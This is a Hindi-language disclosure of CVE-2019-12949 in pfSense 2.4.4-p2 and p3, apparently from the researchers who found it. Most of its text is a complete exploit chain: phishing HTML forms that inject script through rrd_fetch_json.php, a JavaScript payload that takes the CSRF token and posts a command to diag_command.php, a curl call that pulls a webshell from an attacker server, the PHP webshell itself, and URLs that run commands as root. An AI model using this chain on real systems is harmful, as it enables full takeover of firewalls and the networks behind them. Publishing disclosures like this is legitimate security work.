
CVE-2019-12949
pfSense 2.4.4-p2 और 2.4.4-p3 में, यदि प्रमाणित व्यवस्थापक को फ़िशिंग पृष्ठ पर एक बटन पर क्लिक करने के लिए धोखा देना संभव है, तो एक हमलावर ding_command.php और rrd_fetch_json.php के माध्यम से सर्वर पर मनमाना निष्पादन योग्य कोड अपलोड कर सकता है। फिर, दूरस्थ हमलावर उस सर्वर पर रूट विशेषाधिकारों के साथ कोई भी कमांड चला सकता है।
शोधकर्ता: द टारंटुला टीम के एंटर, VinCSS (Vingroup का एक सदस्य)
हमला वेक्टर: https://pfSense_IP_Address/rrd_fetch_json.php
POST अनुरोध भेजें:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
हमलावर pfsense पर XSS भेद्यता का शोषण करने के लिए इस तरह की फ़िशिंग साइट बना सकता है:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
हमलावर के सर्वर पर payload.js फ़ाइल में निम्नलिखित जावास्क्रिप्ट कोड (पेलोड) होगा:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
xhr.withCredentials=true;
xhr.send(null);
var resp = xhr.responseText;
console.log(resp);
var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
var end_idx = resp.indexOf('" />', start_idx);
var token = resp.slice(start_idx + 27, end_idx);
console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
var xhr1 = new XMLHttpRequest();
xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
xhr1.withCredentials=true;
var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr1.setRequestHeader("Content-length", params.length);
xhr1.send(params);
</script>
हमलावर के सर्वर पर shell.txt फ़ाइल में कोई भी PHP वेबशेल सामग्री होगी, जैसे:
<?php
system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
phpinfo(); // show phpinfo
?>
अंत में, हमलावर प्रमाणित pfsense व्यवस्थापकों (पीड़ित) को फ़िशिंग साइट तक पहुँचने और फ़िशिंग साइट पर 'Submit' बटन पर क्लिक करने के लिए धोखा देगा। फिर पीड़ित को pfsense व्यवस्थापक साइट पर पुनर्निर्देशित किया जाएगा, और हमलावर का वेबशेल स्वचालित रूप से pfsense सर्वर पर सफलतापूर्वक लोड हो जाएगा।
वहाँ से, दूरस्थ हमलावर pfsense सर्वर पर रूट के रूप में मनमाना कोड निष्पादित कर सकता है:
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls